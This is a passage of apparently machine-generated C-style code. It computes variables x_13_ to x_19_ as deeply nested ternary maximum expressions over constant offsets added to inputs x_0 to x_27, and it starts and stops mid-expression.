(3.0 + x_26)? (12.0 + x_23) : (3.0 + x_26)))));
x_13_ = ((((10.0 + x_2) > ((2.0 + x_6) > (2.0 + x_7)? (2.0 + x_6) : (2.0 + x_7))? (10.0 + x_2) : ((2.0 + x_6) > (2.0 + x_7)? (2.0 + x_6) : (2.0 + x_7))) > (((5.0 + x_8) > (12.0 + x_10)? (5.0 + x_8) : (12.0 + x_10)) > ((19.0 + x_11) > (17.0 + x_13)? (19.0 + x_11) : (17.0 + x_13))? ((5.0 + x_8) > (12.0 + x_10)? (5.0 + x_8) : (12.0 + x_10)) : ((19.0 + x_11) > (17.0 + x_13)? (19.0 + x_11) : (17.0 + x_13)))? ((10.0 + x_2) > ((2.0 + x_6) > (2.0 + x_7)? (2.0 + x_6) : (2.0 + x_7))? (10.0 + x_2) : ((2.0 + x_6) > (2.0 + x_7)? (2.0 + x_6) : (2.0 + x_7))) : (((5.0 + x_8) > (12.0 + x_10)? (5.0 + x_8) : (12.0 + x_10)) > ((19.0 + x_11) > (17.0 + x_13)? (19.0 + x_11) : (17.0 + x_13))? ((5.0 + x_8) > (12.0 + x_10)? (5.0 + x_8) : (12.0 + x_10)) : ((19.0 + x_11) > (17.0 + x_13)? (19.0 + x_11) : (17.0 + x_13)))) > (((3.0 + x_16) > ((4.0 + x_17) > (13.0 + x_18)? (4.0 + x_17) : (13.0 + x_18))? (3.0 + x_16) : ((4.0 + x_17) > (13.0 + x_18)? (4.0 + x_17) : (13.0 + x_18))) > (((18.0 + x_19) > (13.0 + x_21)? (18.0 + x_19) : (13.0 + x_21)) > ((8.0 + x_22) > (4.0 + x_23)? (8.0 + x_22) : (4.0 + x_23))? ((18.0 + x_19) > (13.0 + x_21)? (18.0 + x_19) : (13.0 + x_21)) : ((8.0 + x_22) > (4.0 + x_23)? (8.0 + x_22) : (4.0 + x_23)))? ((3.0 + x_16) > ((4.0 + x_17) > (13.0 + x_18)? (4.0 + x_17) : (13.0 + x_18))? (3.0 + x_16) : ((4.0 + x_17) > (13.0 + x_18)? (4.0 + x_17) : (13.0 + x_18))) : (((18.0 + x_19) > (13.0 + x_21)? (18.0 + x_19) : (13.0 + x_21)) > ((8.0 + x_22) > (4.0 + x_23)? (8.0 + x_22) : (4.0 + x_23))? ((18.0 + x_19) > (13.0 + x_21)? (18.0 + x_19) : (13.0 + x_21)) : ((8.0 + x_22) > (4.0 + x_23)? (8.0 + x_22) : (4.0 + x_23))))? (((10.0 + x_2) > ((2.0 + x_6) > (2.0 + x_7)? (2.0 + x_6) : (2.0 + x_7))? (10.0 + x_2) : ((2.0 + x_6) > (2.0 + x_7)? (2.0 + x_6) : (2.0 + x_7))) > (((5.0 + x_8) > (12.0 + x_10)? (5.0 + x_8) : (12.0 + x_10)) > ((19.0 + x_11) > (17.0 + x_13)? (19.0 + x_11) : (17.0 + x_13))? ((5.0 + x_8) > (12.0 + x_10)? (5.0 + x_8) : (12.0 + x_10)) : ((19.0 + x_11) > (17.0 + x_13)? (19.0 + x_11) : (17.0 + x_13)))? ((10.0 + x_2) > ((2.0 + x_6) > (2.0 + x_7)? (2.0 + x_6) : (2.0 + x_7))? (10.0 + x_2) : ((2.0 + x_6) > (2.0 + x_7)? (2.0 + x_6) : (2.0 + x_7))) : (((5.0 + x_8) > (12.0 + x_10)? (5.0 + x_8) : (12.0 + x_10)) > ((19.0 + x_11) > (17.0 + x_13)? (19.0 + x_11) : (17.0 + x_13))? ((5.0 + x_8) > (12.0 + x_10)? (5.0 + x_8) : (12.0 + x_10)) : ((19.0 + x_11) > (17.0 + x_13)? (19.0 + x_11) : (17.0 + x_13)))) : (((3.0 + x_16) > ((4.0 + x_17) > (13.0 + x_18)? (4.0 + x_17) : (13.0 + x_18))? (3.0 + x_16) : ((4.0 + x_17) > (13.0 + x_18)? (4.0 + x_17) : (13.0 + x_18))) > (((18.0 + x_19) > (13.0 + x_21)? (18.0 + x_19) : (13.0 + x_21)) > ((8.0 + x_22) > (4.0 + x_23)? (8.0 + x_22) : (4.0 + x_23))? ((18.0 + x_19) > (13.0 + x_21)? (18.0 + x_19) : (13.0 + x_21)) : ((8.0 + x_22) > (4.0 + x_23)? (8.0 + x_22) : (4.0 + x_23)))? ((3.0 + x_16) > ((4.0 + x_17) > (13.0 + x_18)? (4.0 + x_17) : (13.0 + x_18))? (3.0 + x_16) : ((4.0 + x_17) > (13.0 + x_18)? (4.0 + x_17) : (13.0 + x_18))) : (((18.0 + x_19) > (13.0 + x_21)? (18.0 + x_19) : (13.0 + x_21)) > ((8.0 + x_22) > (4.0 + x_23)? (8.0 + x_22) : (4.0 + x_23))? ((18.0 + x_19) > (13.0 + x_21)? (18.0 + x_19) : (13.0 + x_21)) : ((8.0 + x_22) > (4.0 + x_23)? (8.0 + x_22) : (4.0 + x_23)))));
x_14_ = ((((9.0 + x_0) > ((14.0 + x_1) > (18.0 + x_2)? (14.0 + x_1) : (18.0 + x_2))? (9.0 + x_0) : ((14.0 + x_1) > (18.0 + x_2)? (14.0 + x_1) : (18.0 + x_2))) > (((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) > ((19.0 + x_7) > (13.0 + x_8)? (19.0 + x_7) : (13.0 + x_8))? ((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) : ((19.0 + x_7) > (13.0 + x_8)? (19.0 + x_7) : (13.0 + x_8)))? ((9.0 + x_0) > ((14.0 + x_1) > (18.0 + x_2)? (14.0 + x_1) : (18.0 + x_2))? (9.0 + x_0) : ((14.0 + x_1) > (18.0 + x_2)? (14.0 + x_1) : (18.0 + x_2))) : (((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) > ((19.0 + x_7) > (13.0 + x_8)? (19.0 + x_7) : (13.0 + x_8))? ((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) : ((19.0 + x_7) > (13.0 + x_8)? (19.0 + x_7) : (13.0 + x_8)))) > (((2.0 + x_10) > ((12.0 + x_15) > (16.0 + x_18)? (12.0 + x_15) : (16.0 + x_18))? (2.0 + x_10) : ((12.0 + x_15) > (16.0 + x_18)? (12.0 + x_15) : (16.0 + x_18))) > (((20.0 + x_22) > (7.0 + x_25)? (20.0 + x_22) : (7.0 + x_25)) > ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27))? ((20.0 + x_22) > (7.0 + x_25)? (20.0 + x_22) : (7.0 + x_25)) : ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)))? ((2.0 + x_10) > ((12.0 + x_15) > (16.0 + x_18)? (12.0 + x_15) : (16.0 + x_18))? (2.0 + x_10) : ((12.0 + x_15) > (16.0 + x_18)? (12.0 + x_15) : (16.0 + x_18))) : (((20.0 + x_22) > (7.0 + x_25)? (20.0 + x_22) : (7.0 + x_25)) > ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27))? ((20.0 + x_22) > (7.0 + x_25)? (20.0 + x_22) : (7.0 + x_25)) : ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27))))? (((9.0 + x_0) > ((14.0 + x_1) > (18.0 + x_2)? (14.0 + x_1) : (18.0 + x_2))? (9.0 + x_0) : ((14.0 + x_1) > (18.0 + x_2)? (14.0 + x_1) : (18.0 + x_2))) > (((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) > ((19.0 + x_7) > (13.0 + x_8)? (19.0 + x_7) : (13.0 + x_8))? ((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) : ((19.0 + x_7) > (13.0 + x_8)? (19.0 + x_7) : (13.0 + x_8)))? ((9.0 + x_0) > ((14.0 + x_1) > (18.0 + x_2)? (14.0 + x_1) : (18.0 + x_2))? (9.0 + x_0) : ((14.0 + x_1) > (18.0 + x_2)? (14.0 + x_1) : (18.0 + x_2))) : (((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) > ((19.0 + x_7) > (13.0 + x_8)? (19.0 + x_7) : (13.0 + x_8))? ((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) : ((19.0 + x_7) > (13.0 + x_8)? (19.0 + x_7) : (13.0 + x_8)))) : (((2.0 + x_10) > ((12.0 + x_15) > (16.0 + x_18)? (12.0 + x_15) : (16.0 + x_18))? (2.0 + x_10) : ((12.0 + x_15) > (16.0 + x_18)? (12.0 + x_15) : (16.0 + x_18))) > (((20.0 + x_22) > (7.0 + x_25)? (20.0 + x_22) : (7.0 + x_25)) > ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27))? ((20.0 + x_22) > (7.0 + x_25)? (20.0 + x_22) : (7.0 + x_25)) : ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)))? ((2.0 + x_10) > ((12.0 + x_15) > (16.0 + x_18)? (12.0 + x_15) : (16.0 + x_18))? (2.0 + x_10) : ((12.0 + x_15) > (16.0 + x_18)? (12.0 + x_15) : (16.0 + x_18))) : (((20.0 + x_22) > (7.0 + x_25)? (20.0 + x_22) : (7.0 + x_25)) > ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27))? ((20.0 + x_22) > (7.0 + x_25)? (20.0 + x_22) : (7.0 + x_25)) : ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)))));
x_15_ = ((((5.0 + x_1) > ((6.0 + x_3) > (16.0 + x_5)? (6.0 + x_3) : (16.0 + x_5))? (5.0 + x_1) : ((6.0 + x_3) > (16.0 + x_5)? (6.0 + x_3) : (16.0 + x_5))) > (((14.0 + x_6) > (2.0 + x_8)? (14.0 + x_6) : (2.0 + x_8)) > ((8.0 + x_10) > (4.0 + x_13)? (8.0 + x_10) : (4.0 + x_13))? ((14.0 + x_6) > (2.0 + x_8)? (14.0 + x_6) : (2.0 + x_8)) : ((8.0 + x_10) > (4.0 + x_13)? (8.0 + x_10) : (4.0 + x_13)))? ((5.0 + x_1) > ((6.0 + x_3) > (16.0 + x_5)? (6.0 + x_3) : (16.0 + x_5))? (5.0 + x_1) : ((6.0 + x_3) > (16.0 + x_5)? (6.0 + x_3) : (16.0 + x_5))) : (((14.0 + x_6) > (2.0 + x_8)? (14.0 + x_6) : (2.0 + x_8)) > ((8.0 + x_10) > (4.0 + x_13)? (8.0 + x_10) : (4.0 + x_13))? ((14.0 + x_6) > (2.0 + x_8)? (14.0 + x_6) : (2.0 + x_8)) : ((8.0 + x_10) > (4.0 + x_13)? (8.0 + x_10) : (4.0 + x_13)))) > (((15.0 + x_17) > ((8.0 + x_19) > (15.0 + x_20)? (8.0 + x_19) : (15.0 + x_20))? (15.0 + x_17) : ((8.0 + x_19) > (15.0 + x_20)? (8.0 + x_19) : (15.0 + x_20))) > (((19.0 + x_21) > (15.0 + x_22)? (19.0 + x_21) : (15.0 + x_22)) > ((12.0 + x_24) > (15.0 + x_26)? (12.0 + x_24) : (15.0 + x_26))? ((19.0 + x_21) > (15.0 + x_22)? (19.0 + x_21) : (15.0 + x_22)) : ((12.0 + x_24) > (15.0 + x_26)? (12.0 + x_24) : (15.0 + x_26)))? ((15.0 + x_17) > ((8.0 + x_19) > (15.0 + x_20)? (8.0 + x_19) : (15.0 + x_20))? (15.0 + x_17) : ((8.0 + x_19) > (15.0 + x_20)? (8.0 + x_19) : (15.0 + x_20))) : (((19.0 + x_21) > (15.0 + x_22)? (19.0 + x_21) : (15.0 + x_22)) > ((12.0 + x_24) > (15.0 + x_26)? (12.0 + x_24) : (15.0 + x_26))? ((19.0 + x_21) > (15.0 + x_22)? (19.0 + x_21) : (15.0 + x_22)) : ((12.0 + x_24) > (15.0 + x_26)? (12.0 + x_24) : (15.0 + x_26))))? (((5.0 + x_1) > ((6.0 + x_3) > (16.0 + x_5)? (6.0 + x_3) : (16.0 + x_5))? (5.0 + x_1) : ((6.0 + x_3) > (16.0 + x_5)? (6.0 + x_3) : (16.0 + x_5))) > (((14.0 + x_6) > (2.0 + x_8)? (14.0 + x_6) : (2.0 + x_8)) > ((8.0 + x_10) > (4.0 + x_13)? (8.0 + x_10) : (4.0 + x_13))? ((14.0 + x_6) > (2.0 + x_8)? (14.0 + x_6) : (2.0 + x_8)) : ((8.0 + x_10) > (4.0 + x_13)? (8.0 + x_10) : (4.0 + x_13)))? ((5.0 + x_1) > ((6.0 + x_3) > (16.0 + x_5)? (6.0 + x_3) : (16.0 + x_5))? (5.0 + x_1) : ((6.0 + x_3) > (16.0 + x_5)? (6.0 + x_3) : (16.0 + x_5))) : (((14.0 + x_6) > (2.0 + x_8)? (14.0 + x_6) : (2.0 + x_8)) > ((8.0 + x_10) > (4.0 + x_13)? (8.0 + x_10) : (4.0 + x_13))? ((14.0 + x_6) > (2.0 + x_8)? (14.0 + x_6) : (2.0 + x_8)) : ((8.0 + x_10) > (4.0 + x_13)? (8.0 + x_10) : (4.0 + x_13)))) : (((15.0 + x_17) > ((8.0 + x_19) > (15.0 + x_20)? (8.0 + x_19) : (15.0 + x_20))? (15.0 + x_17) : ((8.0 + x_19) > (15.0 + x_20)? (8.0 + x_19) : (15.0 + x_20))) > (((19.0 + x_21) > (15.0 + x_22)? (19.0 + x_21) : (15.0 + x_22)) > ((12.0 + x_24) > (15.0 + x_26)? (12.0 + x_24) : (15.0 + x_26))? ((19.0 + x_21) > (15.0 + x_22)? (19.0 + x_21) : (15.0 + x_22)) : ((12.0 + x_24) > (15.0 + x_26)? (12.0 + x_24) : (15.0 + x_26)))? ((15.0 + x_17) > ((8.0 + x_19) > (15.0 + x_20)? (8.0 + x_19) : (15.0 + x_20))? (15.0 + x_17) : ((8.0 + x_19) > (15.0 + x_20)? (8.0 + x_19) : (15.0 + x_20))) : (((19.0 + x_21) > (15.0 + x_22)? (19.0 + x_21) : (15.0 + x_22)) > ((12.0 + x_24) > (15.0 + x_26)? (12.0 + x_24) : (15.0 + x_26))? ((19.0 + x_21) > (15.0 + x_22)? (19.0 + x_21) : (15.0 + x_22)) : ((12.0 + x_24) > (15.0 + x_26)? (12.0 + x_24) : (15.0 + x_26)))));
x_16_ = ((((4.0 + x_0) > ((5.0 + x_1) > (16.0 + x_4)? (5.0 + x_1) : (16.0 + x_4))? (4.0 + x_0) : ((5.0 + x_1) > (16.0 + x_4)? (5.0 + x_1) : (16.0 + x_4))) > (((17.0 + x_5) > (9.0 + x_7)? (17.0 + x_5) : (9.0 + x_7)) > ((2.0 + x_10) > (11.0 + x_11)? (2.0 + x_10) : (11.0 + x_11))? ((17.0 + x_5) > (9.0 + x_7)? (17.0 + x_5) : (9.0 + x_7)) : ((2.0 + x_10) > (11.0 + x_11)? (2.0 + x_10) : (11.0 + x_11)))? ((4.0 + x_0) > ((5.0 + x_1) > (16.0 + x_4)? (5.0 + x_1) : (16.0 + x_4))? (4.0 + x_0) : ((5.0 + x_1) > (16.0 + x_4)? (5.0 + x_1) : (16.0 + x_4))) : (((17.0 + x_5) > (9.0 + x_7)? (17.0 + x_5) : (9.0 + x_7)) > ((2.0 + x_10) > (11.0 + x_11)? (2.0 + x_10) : (11.0 + x_11))? ((17.0 + x_5) > (9.0 + x_7)? (17.0 + x_5) : (9.0 + x_7)) : ((2.0 + x_10) > (11.0 + x_11)? (2.0 + x_10) : (11.0 + x_11)))) > (((4.0 + x_13) > ((7.0 + x_16) > (12.0 + x_18)? (7.0 + x_16) : (12.0 + x_18))? (4.0 + x_13) : ((7.0 + x_16) > (12.0 + x_18)? (7.0 + x_16) : (12.0 + x_18))) > (((2.0 + x_22) > (3.0 + x_24)? (2.0 + x_22) : (3.0 + x_24)) > ((9.0 + x_26) > (18.0 + x_27)? (9.0 + x_26) : (18.0 + x_27))? ((2.0 + x_22) > (3.0 + x_24)? (2.0 + x_22) : (3.0 + x_24)) : ((9.0 + x_26) > (18.0 + x_27)? (9.0 + x_26) : (18.0 + x_27)))? ((4.0 + x_13) > ((7.0 + x_16) > (12.0 + x_18)? (7.0 + x_16) : (12.0 + x_18))? (4.0 + x_13) : ((7.0 + x_16) > (12.0 + x_18)? (7.0 + x_16) : (12.0 + x_18))) : (((2.0 + x_22) > (3.0 + x_24)? (2.0 + x_22) : (3.0 + x_24)) > ((9.0 + x_26) > (18.0 + x_27)? (9.0 + x_26) : (18.0 + x_27))? ((2.0 + x_22) > (3.0 + x_24)? (2.0 + x_22) : (3.0 + x_24)) : ((9.0 + x_26) > (18.0 + x_27)? (9.0 + x_26) : (18.0 + x_27))))? (((4.0 + x_0) > ((5.0 + x_1) > (16.0 + x_4)? (5.0 + x_1) : (16.0 + x_4))? (4.0 + x_0) : ((5.0 + x_1) > (16.0 + x_4)? (5.0 + x_1) : (16.0 + x_4))) > (((17.0 + x_5) > (9.0 + x_7)? (17.0 + x_5) : (9.0 + x_7)) > ((2.0 + x_10) > (11.0 + x_11)? (2.0 + x_10) : (11.0 + x_11))? ((17.0 + x_5) > (9.0 + x_7)? (17.0 + x_5) : (9.0 + x_7)) : ((2.0 + x_10) > (11.0 + x_11)? (2.0 + x_10) : (11.0 + x_11)))? ((4.0 + x_0) > ((5.0 + x_1) > (16.0 + x_4)? (5.0 + x_1) : (16.0 + x_4))? (4.0 + x_0) : ((5.0 + x_1) > (16.0 + x_4)? (5.0 + x_1) : (16.0 + x_4))) : (((17.0 + x_5) > (9.0 + x_7)? (17.0 + x_5) : (9.0 + x_7)) > ((2.0 + x_10) > (11.0 + x_11)? (2.0 + x_10) : (11.0 + x_11))? ((17.0 + x_5) > (9.0 + x_7)? (17.0 + x_5) : (9.0 + x_7)) : ((2.0 + x_10) > (11.0 + x_11)? (2.0 + x_10) : (11.0 + x_11)))) : (((4.0 + x_13) > ((7.0 + x_16) > (12.0 + x_18)? (7.0 + x_16) : (12.0 + x_18))? (4.0 + x_13) : ((7.0 + x_16) > (12.0 + x_18)? (7.0 + x_16) : (12.0 + x_18))) > (((2.0 + x_22) > (3.0 + x_24)? (2.0 + x_22) : (3.0 + x_24)) > ((9.0 + x_26) > (18.0 + x_27)? (9.0 + x_26) : (18.0 + x_27))? ((2.0 + x_22) > (3.0 + x_24)? (2.0 + x_22) : (3.0 + x_24)) : ((9.0 + x_26) > (18.0 + x_27)? (9.0 + x_26) : (18.0 + x_27)))? ((4.0 + x_13) > ((7.0 + x_16) > (12.0 + x_18)? (7.0 + x_16) : (12.0 + x_18))? (4.0 + x_13) : ((7.0 + x_16) > (12.0 + x_18)? (7.0 + x_16) : (12.0 + x_18))) : (((2.0 + x_22) > (3.0 + x_24)? (2.0 + x_22) : (3.0 + x_24)) > ((9.0 + x_26) > (18.0 + x_27)? (9.0 + x_26) : (18.0 + x_27))? ((2.0 + x_22) > (3.0 + x_24)? (2.0 + x_22) : (3.0 + x_24)) : ((9.0 + x_26) > (18.0 + x_27)? (9.0 + x_26) : (18.0 + x_27)))));
x_17_ = ((((5.0 + x_0) > ((8.0 + x_1) > (13.0 + x_5)? (8.0 + x_1) : (13.0 + x_5))? (5.0 + x_0) : ((8.0 + x_1) > (13.0 + x_5)? (8.0 + x_1) : (13.0 + x_5))) > (((17.0 + x_7) > (3.0 + x_8)? (17.0 + x_7) : (3.0 + x_8)) > ((18.0 + x_9) > (7.0 + x_10)? (18.0 + x_9) : (7.0 + x_10))? ((17.0 + x_7) > (3.0 + x_8)? (17.0 + x_7) : (3.0 + x_8)) : ((18.0 + x_9) > (7.0 + x_10)? (18.0 + x_9) : (7.0 + x_10)))? ((5.0 + x_0) > ((8.0 + x_1) > (13.0 + x_5)? (8.0 + x_1) : (13.0 + x_5))? (5.0 + x_0) : ((8.0 + x_1) > (13.0 + x_5)? (8.0 + x_1) : (13.0 + x_5))) : (((17.0 + x_7) > (3.0 + x_8)? (17.0 + x_7) : (3.0 + x_8)) > ((18.0 + x_9) > (7.0 + x_10)? (18.0 + x_9) : (7.0 + x_10))? ((17.0 + x_7) > (3.0 + x_8)? (17.0 + x_7) : (3.0 + x_8)) : ((18.0 + x_9) > (7.0 + x_10)? (18.0 + x_9) : (7.0 + x_10)))) > (((17.0 + x_13) > ((13.0 + x_16) > (12.0 + x_17)? (13.0 + x_16) : (12.0 + x_17))? (17.0 + x_13) : ((13.0 + x_16) > (12.0 + x_17)? (13.0 + x_16) : (12.0 + x_17))) > (((6.0 + x_18) > (15.0 + x_23)? (6.0 + x_18) : (15.0 + x_23)) > ((14.0 + x_25) > (11.0 + x_26)? (14.0 + x_25) : (11.0 + x_26))? ((6.0 + x_18) > (15.0 + x_23)? (6.0 + x_18) : (15.0 + x_23)) : ((14.0 + x_25) > (11.0 + x_26)? (14.0 + x_25) : (11.0 + x_26)))? ((17.0 + x_13) > ((13.0 + x_16) > (12.0 + x_17)? (13.0 + x_16) : (12.0 + x_17))? (17.0 + x_13) : ((13.0 + x_16) > (12.0 + x_17)? (13.0 + x_16) : (12.0 + x_17))) : (((6.0 + x_18) > (15.0 + x_23)? (6.0 + x_18) : (15.0 + x_23)) > ((14.0 + x_25) > (11.0 + x_26)? (14.0 + x_25) : (11.0 + x_26))? ((6.0 + x_18) > (15.0 + x_23)? (6.0 + x_18) : (15.0 + x_23)) : ((14.0 + x_25) > (11.0 + x_26)? (14.0 + x_25) : (11.0 + x_26))))? (((5.0 + x_0) > ((8.0 + x_1) > (13.0 + x_5)? (8.0 + x_1) : (13.0 + x_5))? (5.0 + x_0) : ((8.0 + x_1) > (13.0 + x_5)? (8.0 + x_1) : (13.0 + x_5))) > (((17.0 + x_7) > (3.0 + x_8)? (17.0 + x_7) : (3.0 + x_8)) > ((18.0 + x_9) > (7.0 + x_10)? (18.0 + x_9) : (7.0 + x_10))? ((17.0 + x_7) > (3.0 + x_8)? (17.0 + x_7) : (3.0 + x_8)) : ((18.0 + x_9) > (7.0 + x_10)? (18.0 + x_9) : (7.0 + x_10)))? ((5.0 + x_0) > ((8.0 + x_1) > (13.0 + x_5)? (8.0 + x_1) : (13.0 + x_5))? (5.0 + x_0) : ((8.0 + x_1) > (13.0 + x_5)? (8.0 + x_1) : (13.0 + x_5))) : (((17.0 + x_7) > (3.0 + x_8)? (17.0 + x_7) : (3.0 + x_8)) > ((18.0 + x_9) > (7.0 + x_10)? (18.0 + x_9) : (7.0 + x_10))? ((17.0 + x_7) > (3.0 + x_8)? (17.0 + x_7) : (3.0 + x_8)) : ((18.0 + x_9) > (7.0 + x_10)? (18.0 + x_9) : (7.0 + x_10)))) : (((17.0 + x_13) > ((13.0 + x_16) > (12.0 + x_17)? (13.0 + x_16) : (12.0 + x_17))? (17.0 + x_13) : ((13.0 + x_16) > (12.0 + x_17)? (13.0 + x_16) : (12.0 + x_17))) > (((6.0 + x_18) > (15.0 + x_23)? (6.0 + x_18) : (15.0 + x_23)) > ((14.0 + x_25) > (11.0 + x_26)? (14.0 + x_25) : (11.0 + x_26))? ((6.0 + x_18) > (15.0 + x_23)? (6.0 + x_18) : (15.0 + x_23)) : ((14.0 + x_25) > (11.0 + x_26)? (14.0 + x_25) : (11.0 + x_26)))? ((17.0 + x_13) > ((13.0 + x_16) > (12.0 + x_17)? (13.0 + x_16) : (12.0 + x_17))? (17.0 + x_13) : ((13.0 + x_16) > (12.0 + x_17)? (13.0 + x_16) : (12.0 + x_17))) : (((6.0 + x_18) > (15.0 + x_23)? (6.0 + x_18) : (15.0 + x_23)) > ((14.0 + x_25) > (11.0 + x_26)? (14.0 + x_25) : (11.0 + x_26))? ((6.0 + x_18) > (15.0 + x_23)? (6.0 + x_18) : (15.0 + x_23)) : ((14.0 + x_25) > (11.0 + x_26)? (14.0 + x_25) : (11.0 + x_26)))));
x_18_ = ((((3.0 + x_2) > ((5.0 + x_3) > (8.0 + x_4)? (5.0 + x_3) : (8.0 + x_4))? (3.0 + x_2) : ((5.0 + x_3) > (8.0 + x_4)? (5.0 + x_3) : (8.0 + x_4))) > (((16.0 + x_8) > (17.0 + x_13)? (16.0 + x_8) : (17.0 + x_13)) > ((9.0 + x_16) > (14.0 + x_17)? (9.0 + x_16) : (14.0 + x_17))? ((16.0 + x_8) > (17.0 + x_13)? (16.0 + x_8) : (17.0 + x_13)) : ((9.0 + x_16) > (14.0 + x_17)? (9.0 + x_16) : (14.0 + x_17)))? ((3.0 + x_2) > ((5.0 + x_3) > (8.0 + x_4)? (5.0 + x_3) : (8.0 + x_4))? (3.0 + x_2) : ((5.0 + x_3) > (8.0 + x_4)? (5.0 + x_3) : (8.0 + x_4))) : (((16.0 + x_8) > (17.0 + x_13)? (16.0 + x_8) : (17.0 + x_13)) > ((9.0 + x_16) > (14.0 + x_17)? (9.0 + x_16) : (14.0 + x_17))? ((16.0 + x_8) > (17.0 + x_13)? (16.0 + x_8) : (17.0 + x_13)) : ((9.0 + x_16) > (14.0 + x_17)? (9.0 + x_16) : (14.0 + x_17)))) > (((11.0 + x_18) > ((17.0 + x_19) > (7.0 + x_20)? (17.0 + x_19) : (7.0 + x_20))? (11.0 + x_18) : ((17.0 + x_19) > (7.0 + x_20)? (17.0 + x_19) : (7.0 + x_20))) > (((13.0 + x_21) > (16.0 + x_22)? (13.0 + x_21) : (16.0 + x_22)) > ((6.0 + x_24) > (11.0 + x_25)? (6.0 + x_24) : (11.0 + x_25))? ((13.0 + x_21) > (16.0 + x_22)? (13.0 + x_21) : (16.0 + x_22)) : ((6.0 + x_24) > (11.0 + x_25)? (6.0 + x_24) : (11.0 + x_25)))? ((11.0 + x_18) > ((17.0 + x_19) > (7.0 + x_20)? (17.0 + x_19) : (7.0 + x_20))? (11.0 + x_18) : ((17.0 + x_19) > (7.0 + x_20)? (17.0 + x_19) : (7.0 + x_20))) : (((13.0 + x_21) > (16.0 + x_22)? (13.0 + x_21) : (16.0 + x_22)) > ((6.0 + x_24) > (11.0 + x_25)? (6.0 + x_24) : (11.0 + x_25))? ((13.0 + x_21) > (16.0 + x_22)? (13.0 + x_21) : (16.0 + x_22)) : ((6.0 + x_24) > (11.0 + x_25)? (6.0 + x_24) : (11.0 + x_25))))? (((3.0 + x_2) > ((5.0 + x_3) > (8.0 + x_4)? (5.0 + x_3) : (8.0 + x_4))? (3.0 + x_2) : ((5.0 + x_3) > (8.0 + x_4)? (5.0 + x_3) : (8.0 + x_4))) > (((16.0 + x_8) > (17.0 + x_13)? (16.0 + x_8) : (17.0 + x_13)) > ((9.0 + x_16) > (14.0 + x_17)? (9.0 + x_16) : (14.0 + x_17))? ((16.0 + x_8) > (17.0 + x_13)? (16.0 + x_8) : (17.0 + x_13)) : ((9.0 + x_16) > (14.0 + x_17)? (9.0 + x_16) : (14.0 + x_17)))? ((3.0 + x_2) > ((5.0 + x_3) > (8.0 + x_4)? (5.0 + x_3) : (8.0 + x_4))? (3.0 + x_2) : ((5.0 + x_3) > (8.0 + x_4)? (5.0 + x_3) : (8.0 + x_4))) : (((16.0 + x_8) > (17.0 + x_13)? (16.0 + x_8) : (17.0 + x_13)) > ((9.0 + x_16) > (14.0 + x_17)? (9.0 + x_16) : (14.0 + x_17))? ((16.0 + x_8) > (17.0 + x_13)? (16.0 + x_8) : (17.0 + x_13)) : ((9.0 + x_16) > (14.0 + x_17)? (9.0 + x_16) : (14.0 + x_17)))) : (((11.0 + x_18) > ((17.0 + x_19) > (7.0 + x_20)? (17.0 + x_19) : (7.0 + x_20))? (11.0 + x_18) : ((17.0 + x_19) > (7.0 + x_20)? (17.0 + x_19) : (7.0 + x_20))) > (((13.0 + x_21) > (16.0 + x_22)? (13.0 + x_21) : (16.0 + x_22)) > ((6.0 + x_24) > (11.0 + x_25)? (6.0 + x_24) : (11.0 + x_25))? ((13.0 + x_21) > (16.0 + x_22)? (13.0 + x_21) : (16.0 + x_22)) : ((6.0 + x_24) > (11.0 + x_25)? (6.0 + x_24) : (11.0 + x_25)))? ((11.0 + x_18) > ((17.0 + x_19) > (7.0 + x_20)? (17.0 + x_19) : (7.0 + x_20))? (11.0 + x_18) : ((17.0 + x_19) > (7.0 + x_20)? (17.0 + x_19) : (7.0 + x_20))) : (((13.0 + x_21) > (16.0 + x_22)? (13.0 + x_21) : (16.0 + x_22)) > ((6.0 + x_24) > (11.0 + x_25)? (6.0 + x_24) : (11.0 + x_25))? ((13.0 + x_21) > (16.0 + x_22)? (13.0 + x_21) : (16.0 + x_22)) : ((6.0 + x_24) > (11.0 + x_25)? (6.0 + x_24) : (11.0 + x_25)))));
x_19_ = ((((12.0 + x_0) > ((9.0 + x_5) > (13.0 + x_6)? (9.0 + x_5) : (13.0 + x_6))? (12.0 + x_0) : ((9.0 + x_5) > (13.0 + x_6)? (9.0 + x_5) : (13.0 + x_6))) > (((4.0 + x_7) > (12.0 + x_8)? (4.0 + x_7) : (12.0 + x_8)) > ((19.0 + x_10) > (19.0 + x_12)? (19.0 + x_10) : (19.0 + x_12))? ((4.0 + x_7) > (12.0 + x_8)? (4.0 + x_7) : (12.0 + x_8)) : ((19.0 + x_10) > (19.0 + x_12)? (19.0 + x_10) : (19.0 + x_12)))? ((12.0 + x_0) > ((9.0 + x_5) > (13.0 + x_6)? (9.0 + x_5) : (13.0 + x_6))? (12.0 + x_0) : ((9.0 + x_5) > (13.0 + x_6)? (9.0 + x_5) : (13.0 + x_6))) : (((4.0 + x_7) > (12.0 + x_8)? (4.0 + x_7) : (12.0 + x_8)) > ((19.0 + x_10) > (19.0 + x_12)? (19.0 + x_10) : (19.0 + x_12))? ((4.0 + x_7) > (12.0 + x_8)? (4.0 + x_7) : (12.0 + x_8)) : ((19.0 + x_10) > (19.0 + x_12)? (19.0 + x_10) : (19.0 + x_12)))) > (((20.0 + x_13) > ((19.0 + x_14) > (7.0 + x_16)? (19.0 + x_14) : 